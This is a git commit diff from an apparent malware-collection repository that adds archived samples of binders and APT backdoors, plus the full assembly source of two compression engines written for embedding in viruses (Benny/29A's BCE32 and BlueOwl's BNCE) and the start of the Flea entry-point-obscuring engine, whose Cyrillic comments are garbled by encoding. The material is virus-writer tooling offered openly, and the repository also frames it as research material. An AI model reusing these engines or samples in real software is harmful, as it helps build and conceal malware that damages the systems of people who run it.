This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
commit
aw-junaid7aa4d1e407e2
diff --git a/Malwares/Win32/APTMuddy.Python.C2.zip b/Malwares/Win32/APTMuddy.Python.C2.zipnew file mode 100644index 0000000..4c79854Binary files /dev/null and b/Malwares/Win32/APTMuddy.Python.C2.zip differdiff --git a/Malwares/Win32/Backdoor.Win32.APT34.PoisonFrogC2.7z b/Malwares/Win32/Backdoor.Win32.APT34.PoisonFrogC2.7znew file mode 100644index 0000000..18a1487Binary files /dev/null and b/Malwares/Win32/Backdoor.Win32.APT34.PoisonFrogC2.7z differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Azazel.rar b/Malwares/Win32/Binders/Binder.Win32.Azazel.rarnew file mode 100644index 0000000..790e62eBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Azazel.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.BBinder.rar b/Malwares/Win32/Binders/Binder.Win32.BBinder.rarnew file mode 100644index 0000000..d3a24dfBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.BBinder.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Biohazard.rar b/Malwares/Win32/Binders/Binder.Win32.Biohazard.rarnew file mode 100644index 0000000..dd2d6d4Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Biohazard.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.BlindSpot.a.rar b/Malwares/Win32/Binders/Binder.Win32.BlindSpot.a.rarnew file mode 100644index 0000000..cd8fd2eBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.BlindSpot.a.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.DangerZone.rar b/Malwares/Win32/Binders/Binder.Win32.DangerZone.rarnew file mode 100644index 0000000..fea1d7bBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.DangerZone.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Devil.a.rar b/Malwares/Win32/Binders/Binder.Win32.Devil.a.rarnew file mode 100644index 0000000..0d4fa5dBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Devil.a.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Ejemplo.rar b/Malwares/Win32/Binders/Binder.Win32.Ejemplo.rarnew file mode 100644index 0000000..bb06425Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Ejemplo.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.JABT.ab.rar b/Malwares/Win32/Binders/Binder.Win32.JABT.ab.rarnew file mode 100644index 0000000..8b7be36Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.JABT.ab.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Joiner.rar b/Malwares/Win32/Binders/Binder.Win32.Joiner.rarnew file mode 100644index 0000000..3dde9f8Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Joiner.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.LittleJoiner.rar b/Malwares/Win32/Binders/Binder.Win32.LittleJoiner.rarnew file mode 100644index 0000000..a79598bBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.LittleJoiner.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Nrg.rar b/Malwares/Win32/Binders/Binder.Win32.Nrg.rarnew file mode 100644index 0000000..2390e62Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Nrg.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.PictureBinder.rar b/Malwares/Win32/Binders/Binder.Win32.PictureBinder.rarnew file mode 100644index 0000000..febd1c9Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.PictureBinder.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.Viotto.rar b/Malwares/Win32/Binders/Binder.Win32.Viotto.rarnew file mode 100644index 0000000..53f5437Binary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.Viotto.rar differdiff --git a/Malwares/Win32/Binders/Binder.Win32.XP0wer.rar b/Malwares/Win32/Binders/Binder.Win32.XP0wer.rarnew file mode 100644index 0000000..a7b788eBinary files /dev/null and b/Malwares/Win32/Binders/Binder.Win32.XP0wer.rar differdiff --git a/Malwares/Win32/Binders/README.md b/Malwares/Win32/Binders/README.mdnew file mode 100644index 0000000..1dbfa18--- /dev/null+++ b/Malwares/Win32/Binders/README.md@@ -0,0 +1,3 @@+# Win32 Binders+ +diff --git a/Malwares/Win32/Compression/README.md b/Malwares/Win32/Compression/README.mdnew file mode 100644index 0000000..54aa7d1--- /dev/null+++ b/Malwares/Win32/Compression/README.md@@ -0,0 +1,3 @@++# Compression+ diff --git a/Malwares/Win32/Compression/VirTool.Win32.Compression.Benny.asm b/Malwares/Win32/Compression/VirTool.Win32.Compression.Benny.asmnew file mode 100644index 0000000..6bdcfc2--- /dev/null+++ b/Malwares/Win32/Compression/VirTool.Win32.Compression.Benny.asm@@ -0,0 +1,416 @@+; ������� ������� �������+; �� Benny's Compression Engine for Win32 Ŀ ��� ��� ��� ��� ��� ���+; � by � ������ ������� �������+; �������������� Benny / 29A ��������������� ������� ������� ��� ���+; ������� ������� ��� ���+;+;+;+;Hello everybody,+;+;let me introduce my second compression engine for Win32 enviroment (u can+;find my first engine in Win32.Benny and Win98.Milennium). This engine+;worx on "compressin' bit groups" base. When I started to write this stuff,+;i wanted to write engine, that would work on Huffmann base. Then I decided+;it's not needed to implement this complicated algorithm here, coz I wanna+;be this engine small and effective.+;+;Not only this is truth. This engine is very fast, very small (only 478 bytes)+;and has implemented my special compression algorithm, that is simple and has+;very, ehrm, let's call it "interesting" compression ratio X-D.+;+;+;+;So how does it work ?+;======================+;+;I said, this engine worx on "compressin' bit groups" base. What does it mean ?+;Bit group (as I call it) is group of two bits. U know, every byte has 8 bits.+;+;Example: byte 9Ah group0 group1 group2 group3+; 10011010 ===> 10 10 01 10+;+;As u can see, every byte has 4 bit groups and I said, it compresses+;bit groups. Heh, u think i'm crazy when im tryin' to compress+;two bits, yeah :?)+;+;+;This engine will (on the beginnin') calculate, which bit group has+;the biggest count of repetency, which second biggest, etc...+;+;Example: group count+; 00 ===> 74+; 01 ===> 32+; 10 ===> 12+; 11 ===> 26+;+;+;That's not all. It has to sort items to know, which group has the biggest+;count. I decided it's best to use "bubble sort algorithm". Then there isn't+;any problem to use "our algorithm".++;Look at this table, when in first column r sorted groups and in second+;comlumn r <another> bits, which will represent new compressed data.+;+;Sorted by count: 1. ===> 1+; 2. ===> 00+; 3. ===> 010+; 4. ===> 011+;+;Finally, engine will replace bit groups with these bits.+;Gewd thing on this algorithm is that there aren't needed same bytes to have+;good compression ratio, but only some bits.+;So now u know whole secret of my compression algorithm. U also know, why+;I said, it has "interesting compression ratio". Look at the table and u will+;see, what type of files can we strongly compress. They r both of binaries+;and texts, but not every binaries or texts can be compressed as well as otherz.+;We can compress some binaries again with the same or better ratio. Why ?+;Imagine, u have file with 1000x 0x0s. After compression we have 125x 0xFFs, that+;can be compressed again. Some files can be after compression (negative even -+;file is bigger) compressed again with positive compression (file is smaller).+;Heh, crazy, isn't it ? X-DDD.+;+;+;+;How can I use BCE32 in my virus ?+;==================================+;+;BCE32 is placed in two procedures called BCE32_Compress and BCE32_Decompress.+;+;+;a) BCE32_Compress:+;-------------------+;Input state:+; 1) ESI register - pointer to data, which will be compressed+; 2) EDI register - pointer to memory, where will be placed compressed data+; 3) ECX register - number of bytes to compress + 1 (do not forget "+ 1" !)+; 4) EBX register - work memory (16 bytes)+; 5) EDX register - work memory (16 bytes). MUST NOT be same as EBX !+;+; call BCE32_Compress+;+;Output state:+; 1) EAX register - new size of compressed data+; 2) CF set, if negative compression+; 3) Other registers r preserved (except FLAGS)+;+;+;b) BCE32_Decompress:+;---------------------+;Input state:+; 1) ESI register - pointer to compressed data+; 2) EDI register - pointer to memory, where will be placed decompressed data+; 3) ECX register - number of bytes to decompress (EAX value returned by+; BCE32_Compress) - 1 (do not forget "- 1" !)+;+; call BCE32_Decompress+;+;Output state:+; 1) All registers r preserved+;+;+;WARNING: Be sure, u have enought memory for case of negative compression.+;NOTE: U can compress (in some special cases) already compressed data.+; For this purpose exists output parameters EAX and CF.+;+;+;+;Do u like this (or my another work) ?+;======================================+;+;Gimme know. If u have some notes or commentz for this, for another work,+;or if u simply like it, mail me to [email protected]. Thanx.+;+;+;+;Don't u like it ?+;==================+;+;Fuck u.+;+;+;+;(c) by Benny/29A May 1999.+++++BCE32_Compress Proc ;compression procedure+ pushad ;save all regs++;stage 1+ pushad ;and again+create_table:+ push ecx ;save for l8r usage+ push 4+ pop ecx ;ECX = 4+ lodsb ;load byte to AL+l_table:push eax ;save it+ xor edx, edx ;EDX = 0+ and al, 3 ;this stuff will separate and test+ je st_end ;bit groups+ cmp al, 2+ je st2+ cmp al, 3+ je st3+st1: inc edx ;01+ jmp st_end+st2: inc edx ;10+ inc edx+ jmp st_end+st3: mov dl, 3 ;11+st_end: inc dword ptr [ebx+4*edx] ;increment count in table+ pop eax+ ror al, 2 ;next bit group+ loop l_table+ pop ecx ;restore number of bytes+ loop create_table ;next byte++ push 4 ;this will check for same numbers+ pop ecx ;ECX = 4+re_t: cdq ;EDX = 0+t_loop: mov eax, [ebx+4*edx] ;load DWORD+ inc dword ptr [ebx+4*edx] ;increment it+ cmp eax, [ebx] ;test for same numbers+ je _inc_ ;...+ cmp eax, [ebx+4] ;...+ je _inc_ ;...+ cmp eax, [ebx+8] ;...+ je _inc_ ;...+ cmp eax, [ebx+12] ;...+ jne ninc_ ;...+_inc_: inc dword ptr [ebx+4*edx] ;same, increment it+ inc ecx ;increment counter (check it in next turn)+ninc_: cmp dl, 3 ;table overflow ?+ je re_t ;yeah, once again+ inc edx ;increment offset to table+ loop t_loop ;loop+ popad ;restore regs++;stage 2+ pushad ;save all regs+ mov esi, ebx ;get pointer to table+ push 3+ pop ebx ;EBX = 3+ mov ecx, ebx ;ECX = 3+rep_sort: ;bubble sort = the biggest value will+ ;always "bubble up", so we know number+ ;steps+ push ecx ;save it+ mov ecx, ebx ;set pointerz+ mov edi, edx ;...+ push edx ;save it+ lodsd ;load DWORD (count)+ mov edx, eax ;save it+sort: lodsd ;load next+ cmp eax, edx ;is it bigger+ jb noswap ;no, store it+ xchg eax, edx ;yeah, swap DWORDs+noswap: stosd ;store it+ loop sort ;next DWORD+ mov eax, edx ;biggest in EDX, swap it+ stosd ;and store+ lea esi, [edi-16] ;get back pointer+ pop edx ;restore regs+ pop ecx+ loop rep_sort ;and try next DWORD+ popad++;stage 3+ pushad ;save all regs+ xor eax, eax ;EAX = 0+ push eax ;save it+ push 4+ pop ecx ;ECX = 4+n_search:+ push edx ;save regs+ push ecx+ lea esi, [ebx+4*eax] ;get pointer to table+ push eax ;store reg+ lodsd ;load DWORD to EAX+ push 3+ pop ecx ;ECX = 3+ mov edi, ecx ;set pointerz+search: mov esi, edx+ push eax ;save it+ lodsd ;load next+ mov ebp, eax+ pop eax+ cmp eax, ebp ;end ?+ je end_search+ dec edi ;next search+ add edx, 4+ loop search+end_search:+ pop eax ;and next step+ inc eax+ pop ecx+ pop edx+ add [esp], edi+ rol byte ptr [esp], 2+ loop n_search+ pop [esp.Pushad_ebx] ;restore all+ popad ;...++;stage 4+ xor ebp, ebp ;EBP = 0+ xor edx, edx ;EDX = 0+ mov [edi], bl ;store decryption key+ inc edi ;increment pointer+next_byte:+ xor eax, eax ;EAX = 0+ push ecx+ lodsb ;load next byte+ push 4+ pop ecx ;ECX = 4+next_bits:+ push ecx ;store regs+ push eax+ and al, 3 ;separate bit group++ push ebx ;compare with next group+ and bl, 3+ cmp al, bl+ pop ebx+ je cb0++ push ebx ;compare with next group+ ror bl, 2+ and bl, 3+ cmp al, bl+ pop ebx+ je cb1++ push ebx ;compare with next group+ ror bl, 4+ and bl, 3+ cmp al, bl+ pop ebx+ je cb2++ push 0 ;store bit 0+ call copy_bit+ push 1 ;store bit 1+ call copy_bit+cb0: push 1 ;store bit 1+end_cb1:call copy_bit+ pop eax+ pop ecx+ ror al, 2+ loop next_bits ;next bit+ pop ecx+ loop next_byte ;next byte+ mov eax, edi ;save new size+ sub eax, [esp.Pushad_edi] ;...+ mov [esp.Pushad_eax], eax ;...+ popad ;restore all regs+ cmp eax, ecx ;test for negative compression+ jb c_ok ;positive compression+ stc ;clear flag+ ret ;and quit+c_ok: clc ;negative compression, set flag+ ret ;and quit+cb1: push 0 ;store bit 0+end_cb2:call copy_bit+ push 0 ;store bit 0+ jmp end_cb1+cb2: push 0 ;store bit 0+ call copy_bit+ push 1 ;store bit 1+ jmp end_cb2+copy_bit:+ mov eax, ebp ;get byte from EBP+ shl al, 1 ;make space for next bit+ or al, [esp+4] ;set bit+cbit: inc edx ;increment counter+ cmp dl, 8 ;byte full ?+ jne n_byte ;no, continue+ stosb ;yeah, store byte+ xor eax, eax ;and prepare next one+ cdq ;...+n_byte: mov ebp, eax ;save back byte+ ret Pshd ;quit from procedure with one parameter on stack+ db '[BCE32]', 0 ;little signature+BCE32_Compress EndP ;end of compression procedure++++BCE32_Decompress Proc ;decompression procedure+ pushad ;save all regs+ xor eax, eax ;EAX = 0+ xor ebp, ebp ;EBP = 0+ cdq ;EDX = 0++ lodsb ;load decryption key+ push eax ;store it+ lodsb ;load first byte+ push 8 ;store 8+ push edx ;store 0+d_bits: push ecx ;store ECX++ test al, 80h ;test for 1+ jne db0+ test al, 0c0h ;test for 00+ je db1+ test al, 0a0h ;test for 010+ je db2+ mov cl, 6 ;its 011+ jmp tb2++testb: test bl, 1 ;is it 1 ?+ jne p1+ push 0 ;no, store 0+_tb_: mov eax, ebp ;load byte to EAX+ or al, [esp] ;set bit+ ror al, 1 ;and make space for next one+ call cbit ;end of procedure+ ret ;...+p1: push 1 ;store 1+ jmp _tb_ ;and continue++db0: xor cl, cl ;CL = 0+ mov byte ptr [esp+4], 1 ;store 1+testbits:+ push eax ;store it+ push ebx ;...+ mov ebx, [esp+20] ;load parameter+ ror bl, cl ;shift to next bit group+ call testb ;test bit+ ror bl, 1 ;next bit+ call testb ;test it+ pop ebx ;restore regs+ pop eax++ mov ecx, [esp+4] ;load parameter+bcopy: cmp byte ptr [esp+8], 8 ;8. bit ?+ jne dnlb ;nope, continue+ mov ebx, eax ;load next byte+ lodsb+ xchg eax, ebx+ mov byte ptr [esp+8], 0 ;and nulify parameter+ dec dword ptr [esp] ;decrement parameter+dnlb: shl al, 1 ;next bit+ test bl, 80h ;is it 1 ?+ je nb ;no, continue+ or al, 1 ;yeah, set bit+nb: rol bl, 1 ;next bit+ inc byte ptr [esp+8] ;increment parameter+ loop bcopy ;and align next bits+ pop ecx ;restore ECX+ inc ecx ;test flags+ dec ecx ;...+ jns d_bits ;if not sign, jump++ pop eax ;delete pushed parameters+ pop eax ;...+ pop eax ;...+ popad ;restore all regs+ ret ;and quit++db1: mov cl, 2 ;2. bit in decryption key+ mov [esp+4], cl ;2 bit wide+ jmp testbits ;test bits+db2: mov cl, 4 ;4. bit+tb2: mov byte ptr [esp+4], 3 ;3 bit wide+ jmp testbits ;test bits+BCE32_Decompress EndP ;end of decompression procedurediff --git a/Malwares/Win32/Compression/VirTool.Win32.Compression.Bpce.7z b/Malwares/Win32/Compression/VirTool.Win32.Compression.Bpce.7znew file mode 100644index 0000000..65b25dfBinary files /dev/null and b/Malwares/Win32/Compression/VirTool.Win32.Compression.Bpce.7z differdiff --git a/Malwares/Win32/Compression/VirTool.Win32.Compression.Nibble.asm b/Malwares/Win32/Compression/VirTool.Win32.Compression.Nibble.asmnew file mode 100644index 0000000..e78ac04--- /dev/null+++ b/Malwares/Win32/Compression/VirTool.Win32.Compression.Nibble.asm@@ -0,0 +1,198 @@++; BNCE - BlueOwls Nibble Compression Engine+; *****************************************+;+; Introduction+; ************+;+; I made this engine for virusses which want to use some algorithm to make+; themselves or something else smaller (obviously), but i wanted the+; algorithm to be small too, because if it isn't it would have little use+; for virusses. In this case, I tried to make the decompressor as small as+; possible, and let the compressor do most of the work.+;+; How it works+; ************+;+; Every byte has 4 nibbles and these can be compressed. The compression is+; done by counting the number of nibbles in the entire data and change+; the nibble sizes accordingly. The most common of the four possible+; nibbles will be compressed, #2 will stay the same size and #3 & #4 will+; be expanded. This means that as long as the number #1s > the numbers+; #3+#4 compression occurs, otherwise the data will be expanded. The+; maximum reducement is 50%, and the maximum enlargement is 112,5%.+;+; Notes+; *****+;+; - The bnce_compress and bnce_decompress are not in any way dependent on+; each other, and both do not use any (external) data, you can run them+; without the write flag set.+; - A small optimization is possible for the decryptor if you like to+; decrypt only one thing with a static size with it; remove the (*)+; lines in the compressor and change the (@) lines in mov ecx, size;+; or push size, pop ecx. It will save one or three bytes in the+; decompressor, wow! :P+; - I have not encounterd any bugs, and the only errors could arrise from+; a faulty parameters; too small output buffers or corrupted compressed+; data fed to the decompressor. All which are not very likely.+; - In some extreme cases, already compressed data can be compressed again+; but this is only possible when the are a lot of same nibble repeaten-+; cies; for example: 1111b becomes 00b; and 00b becomes 0b. But it does+; not occur very often.+; - As the maximum enlargement is 112,5% I would at least allocate an+; output buffer of size *12 /10 if the data is not static.+;+; Last words+; **********+;+; I made this engine for fun and I had fun with it, I hope you like it and+; can use it in someway. Feel free to modify it to your needs. See Notes+; for more details. Anyway, I hope you like it and if you like to let+; me know something please do and send mail to [email protected].++; I compiled this stuff with FASM, but you should be able to assemble this+; with any popular assembler (MASM/TASM/FASM/NASM?) :).++; compress+; in: esi = ptr to data to compress+; ecx = size of data to compress+; edi = ptr to output buffer+; out: edi = end of data put in output buffer+; size: 165 bytes++bnce_compress: push 03020100h ; push table+ push esi+ push ecx+ sub eax, eax ; eax = 0+ cdq ; edx = 0+ push eax ; 4 counters for the 4 existing nibbles+ push eax+ push eax+ push eax+count_bytes: push ecx ; save no. of bytes+ push 4+ pop ecx ; ecx = 4+ lodsb+count_bits: sub ah, ah+ shl eax, 2 ; ah = first 2 bits+ mov dl, ah ; dl = 2 bits+ inc dword [esp+4+edx*4] ; count it+ loop count_bits+ pop ecx+ loop count_bytes ; now the 4 counters are filled with the correct values++sort_again: sub ecx, ecx ; ecx = 0+ mov esi, esp ; esi = ptr to first counter+ lodsd ; esi = ptr to next counter+no_bubble: inc ecx+ cmp ecx, 4+ jz sort_done ; if no changes were made 4 times bubbling is done+ lodsd ; eax = this counter; esi = next counter+ cmp [esi-8], eax ; compare to previous counter+ jae no_bubble ; if previous counter is bigger or equal make no change+ xchg [esi-8], eax ; swap counters+ mov [esi-4], eax+ mov al, [esp+23+ecx]; swap nibbles+ xchg al, [esp+24+ecx]+ mov [esp+23+ecx], al+ jmp sort_again ; start over+sort_done: add esp, 16 ; delete counters (only nibbles remaining)++ pop ecx ; ecx = size of data+ pop esi ; esi = start of data++ pop eax ; eax = nibble table+ push eax+ shl eax, 6 ; move up table+ stosd ; save table++ mov eax, ecx ; eax = ecx = size of data (*)+ stosd ; save it (*)++ sub edx, edx ; edx = 0 (bits stored counter)+compress_loop: push ecx+ push 4+ pop ecx ; ecx = 4+ lodsb+compress_bits: sub ebx, ebx ; ebx = 0+ sub ah, ah ; ah = 0+ shl eax, 2 ; ah = xxb+ inc ebx ; 1 bit large; output is: 0b+ cmp ah, [esp+0+4] ; is it main compress byte?+ jz move_bits+ mov bh, 10000000b ; output is: 10b+ inc ebx ; 2 bit large+ cmp ah, [esp+1+4]+ jz move_bits+ mov bh, 11000000b+ inc ebx ; 3 bit large; output is: 110b+ cmp ah, [esp+2+4]+ jz move_bits+ mov bh, 11100000b ; output is: 111b+move_bits: shl dh, 1 ; get a free bit in dh+ shl bh, 1 ; carry on/of+ adc dh, 0 ; add it to dh+ inc edx+ mov [edi], dh+ cmp dl, 8+ jnz no_store_bits+ inc edi+ sub edx, edx+no_store_bits: dec bl+ jnz move_bits+ loop compress_bits+ pop ecx+ loop compress_loop++ mov cl, 8+ sub cl, dl+ rol dh, cl ; make sure last byte's bits are placed correctly+ mov [edi], dh+ inc edi++ pop eax ; table not needed anymore+ ret++; decompress+;+; in: esi = pointer to data to be decompressed+; edi = pointer to output buffer+; out: edi = pointer to end of output buffer+; size: 54 bytes++bnce_decompress:lodsd+ push eax ; push decoder table+ lodsd ; (@)+ xchg eax, ecx ; ecx = size when uncompressed (@)+ mov dl, 8 ; indicate new byte needed+decompress_next:push ecx+ push 4 ; start byte reconstruction (4 nibbles remaining)+ pop ecx+decompress_loop:sub ebx, ebx ; type = 0+ push ecx+ push 3 ; repeat 3 times if necessary+ pop ecx+find_type: cmp dl, 8 ; next byte needed?+ jnz dont_fill+ sub edx, edx ; clear bit-counter+ lodsb ; load new byte+dont_fill: inc edx ; 1 bit is used from byte+ shl al, 1 ; get the bit+ jnc dmove_bits ; if it is off, type is found+ inc ebx ; type +++ loop find_type ; repeat+dmove_bits: pop ecx ; restore ecx (stored bit counter)+ mov dh, al ; save al+ mov al, [esp+4+ebx] ; get appropiate bits+ shl eax, 2 ; add bits to ah+ mov al, dh ; restore al+ loop decompress_loop ; if byte is not ready to be put, go on+ mov [edi], ah ; save byte+ inc edi ; move up ptr+ pop ecx+ loop decompress_next ; go on decompressing+ pop eax+ ret++; BlueOwl 23 august, 2004\ No newline at end of filediff --git a/Malwares/Win32/Cryptor/README.md b/Malwares/Win32/Cryptor/README.mdnew file mode 100644index 0000000..2a32d91--- /dev/null+++ b/Malwares/Win32/Cryptor/README.md@@ -0,0 +1,3 @@++# Win32 Cryptors+diff --git a/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Flea.asm b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Flea.asmnew file mode 100644index 0000000..6f81c27--- /dev/null+++ b/Malwares/Win32/Cryptor/VirTool.Win32.Cryptor.Flea.asm@@ -0,0 +1,775 @@+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ;+; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ;+; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ;+; xxxx xxxx xxxx xxxx xxxx ;+; xxxx xxxx xxxx xxxx xxxx ;+; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ;+; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ;+; xxxx xxxx xxxx xxxx xx xxxx ;+; xxxx xxxx xxxx xxxx xxxx xxxx ;+; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;+; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;+; ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; UEP ENGINE ;+; FLEA ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; :)! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ������� FLEA ;+; ���(��) ������ ;+; ;+; ;+;����: ;+;1 �������� (� ������������) - ����� ��������� (UEPGEN) (�� �������� ������ ����) ;+;--------------------------------------------------------------------------------------------------------;+;�����: ;+;EAX - ���������� ����������� ����� ����� ����� ;+;(� ����� ����� �������: ������ ����� � ������� ������ � ����������� ����������� ������������ ���� ;+;--------------------------------------------------------------------------------------------------------;+;�������: ;+;���������, ��������� �� ������� ������� � �������� ���������, �� ��������, �.�. ������ � ��� ����� ;+;������ ������� ������ �������� ���� ��. ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������� ��������� ;+; UEPGEN ;+; ;+; ;+;UEPGEN struct ;+; rgen_addr dd ? ;����� ���������� ��������� ����� (���) ;+; tgen_addr dd ? ;����� ���������� �������� ���������� ;+; mapped_addr dd ? ;���� �������� ����� (MapViewOfFile) ;+; xsection dd ? ;IMAGE_SECTION_HEADER ������, � ������� ����� ����� �������� ���������� ;+; reserved1 dd ? ;��������������� ;+;MORPHGEN ends ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; �������� ��������� ;+; T2GEN ;+; (aka TRASHGEN) ;+; (����� ��������� �������� ������ � ������ xTG) ;+; ;+; ;+;TRASHGEN struct ;+; rgen_addr dd ? ;����� ���������� ��������� ����� (���) ;+; buf_for_trash dd ? ;����� (�����), ���� ���������� ������������ (���, ������������) ������ ;+; size_trash dd ? ;������ (� ������), ������� ������ �������� ;+; regs dd ? ;������� �������� (2 ��) ;+; xmask1 dd ? ;64-������ ����� ��� ��������� ;+; xmask2 dd ? ;�������� ������ (��� ������) ;+; beg_addr dd ? ;��������� ����� ;+; end_addr dd ? ;�������� ����� ;+; mapped_addr dd ? ;��������������� (���� ���� ������� (��� ����� ����� � ������)) ;+; reserv1 dd ? ;��������������� (��, ����� �����-�� ��� ��� � �����) ;+;TRASHGEN ends ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ��������� � ����� ��������� UEPGEN: ;+; ;+; ;+;[ rgen_addr ] : ;+; ��� ��� ������ ������ (FLEA) ���������� ��� �������� � ������-���� ������� ������, ;+; � ��� ��������� ������ (� ��������� ������ ���) ����� ���, ������� ����� ��� ;+; �������� � (������) ���� ���������. ;+; �����: ���� ����� FLEA ����� ������������ ������ ��� (� �� ���, ������� ;+; ���� � ��� � ���������), ����, ����� ���� ������ ��� �������� � �������� 1-�� ;+; (� �������������!) ��������� � ����� ����� (������� ��� N), ��� ��� ����� ����� � ;+; ��������� [0..n-1]. � �� ������ ������ ��� ������ ���������� � EAX ��������� �����. ;+; ��������� �������� ������ �������� �����������. ���. ;+;--------------------------------------------------------------------------------------------------------;+;[ tgen_addr ] : ;+; ����������, ��� � � ���������� ����� ���������. ������ ����� ��������� ������ ;+; ������ ���� �������� � ����, ��� xTG (� �������� ����� ����� ���������� ���� � ��� ;+; ���-���). ;+;--------------------------------------------------------------------------------------------------------;+;[ mapped_addr ] : ;+; � ���� ���� �������� ���� �������� �����. ��� ������, �������� ���������� ����� ;+; ������ ����� MapViewOfFile. ;+;--------------------------------------------------------------------------------------------------------;+;[ xsection ] : ;+; ����� ���������� ���� 0, ���� IMAGE_SECTION_HEADER (� ������) ��� ������, � ;+; ������� ����� ��������� ������ ����� �������� ���������� ������ uep-������. ;+; ���� ����� 0, �� ���������� ����� �������� � ����� ��������� ������. ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ������� ;+; ;+; ;+;1) ��� �������� ����� ����� (�� ���� ��� ��������� �����) ������� ������� (�������) ������� FLEA. ;+;2) ��� �������������� ����� ����������� ���� ������� ������� FLEA_RESTBYTES (�������� ����������� ;+; ������� ������� ������ ������ �������� ������� �� ������+������). ;+;3) ��� ��� ����� ������������ ����� ���������� (� ��������, ��������, �������� ret), � ������� � ;+; ���������� ����� �������������� � ������� CALL'��, �� � ����� ����� ������ ��������. � ����� ����� ;+; ���� ��������������, ������� ������� FLEA_RESTSTACK. �����: ����� ������� ������� FLEA_RESTSTACK, ;+; � ����� �� ������ ���� ��� ������� ������ ������. ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; y0p! ;+; ;+;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;+; ;+; ���� ;+; ;+; ;+;(+) ��������� ���������� ����� ����� ;+; ;+;(+) ����� ����� ��������� ������, � ����� ������ ������� �� ������ (������ ���� � ��������) ;+; ;+;(+) ������� ������������� ;+; ;+;(+) ������������� ��� � ���������� ������ (�������� �����, ��� ��� ������ ����������) ;+; ;+;(+) ����������������� ;+; ;+;(+) ����� �������� ��� ���������� (� ��������, ��������, �������� ret, � ����� �������� 